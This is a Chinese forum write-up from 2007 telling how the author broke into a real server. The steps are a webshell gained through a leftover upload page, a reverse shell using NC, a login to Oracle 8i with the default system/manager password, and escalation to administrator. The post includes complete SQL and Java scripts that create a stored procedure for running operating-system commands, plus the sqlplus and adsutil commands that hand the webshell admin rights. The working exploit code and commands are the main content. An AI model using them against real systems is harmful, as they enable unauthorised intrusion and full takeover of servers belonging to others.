本类共有 867 篇文章,今日更新 0

利用ORACLE的system帐户默认口令提升权限

[ 来源:http://www.91now.com/down/ | 作者: | 时间:2007-5-18 17:39:29 | 浏览: 人次 ]


近日 偶到一主机上逛了一圈 主机的配置 还算是安全 偏偏一个比较隐藏的目录下 残留一upfile.asp 

结果轻轻松松的得到一webshell 

接着在主机上逛了逛 拿出superscan从外面扫了下 只开放了80端口  从user\程序目录里 发现有一快捷方式 

firecontrol  好象是某款硬件防火墙的控制台? 

WEBSHELL下检测了下 开放的服务 发现一般的可提权的方法 都不可行 无SERV-U等等 主机的补丁也是打 

到了最新  试了下 传了个NC上去  反连接得到一SHELL 这下比在老兵的管理器里舒服多了 

在C盘下看到一目录 oracle 看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件 确定了主机的服务名 

xxx   看了下版本 oracle 8i  用数据库连接器 Provider=MSDAORA.1;Password=manager;User ID=system;Data  

Source=xxxx 试了下默认的system帐户 密码manager结果真的就连接到了本地的oracle服务 

这下好了 oracle的system帐户 就像是mssql下的sa 我们来通过他来提升权限  

马上编辑了几个脚本   

1.sql  

create or replace and compile 
   java source named "Util" 
   as 
   import java.io.*; 
  import java.lang.*;  
   public class Util extends Object 
   { 
    public static int RunThis(String args) 
    { 
   Runtime rt = Runtime.getRuntime(); 
   int        rc = -1;  
   try 
   { 
   Process p = rt.exec(args); 
   int bufSize = 4096; 
   BufferedInputStream bis = 
     new BufferedInputStream(p.getInputStream(), bufSize); 
     int len; 
     byte buffer[] = new byte[bufSize]; 
      // Echo back what the program spit out 
    while ((len = bis.read(buffer, 0, bufSize)) != -1) 
         System.out.write(buffer, 0, len);  
       rc = p.waitFor(); 
    } 
     catch (Exception e) 
     { 
        e.printStackTrace(); 
        rc = -1; 
     } 
    finally 
    { 
        return rc; 
     } 
     } 
   } 

--------------------------------------- 

2.sql 

create or replace 
function RUN_CMD(p_cmd in varchar2) return number 
   as 
  language java 
   name ’Util.RunThis(java.lang.String) return integer’; 
------------------------------------- 

3.sql 

create or replace procedure RC(p_cmd in varchar2) 
  as 
    x number; 
  begin 
   x := run_cmd(p_cmd); 
  end; 
--------------------------------- 

保存在c:\下 

然后用反连接得到的shell运行  sqlplus system/manager@xxx 

然后在 再来执行脚本 

SQL>@C:\1.sql 

SQL>@C:\2.sql 

SQL>@C:\3.sql 

看到JAVA 已创建 函数已创建 过程已创建 

接着我们继续  

SQL> variable x number; 
SQL>  set serveroutput on 
SQL> exec dbms_java.set_output(100000); 
SQL>grant javasyspriv to system 

看到授权成功 

接着我们就可以来执行系统命令了 我想 先把ASP.dll加入特权一组 

SQL>exec :x := RUN_CMD(’cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ’); 

看到过程已经成功完成 这个时候我们重新登陆我们的webshell  他已经具有admin权限了 

接着 再用NC返回一个shell 已经是管理权限的了  我们可以做我们想干的事了 因为这个主机有防火墙 过滤了 

除80以外的端口 所以不好做图形的后门 只有留下一有权限的webshell到此 已经提权成功咯 

上次看到一篇文章里说 还有种 可以利用msvcrt.dll调用system()函数执行系统命令 结果找了很多资料 都没找 

到 如果哪位高手有这方面的资料 希望你可以 发布出来 共享一下 

由于我第一次写经验 文字难免 粗糙  请各位原谅 如果有什么疑问也可以和我联系 互相交流下  

QQ 32318479

广告位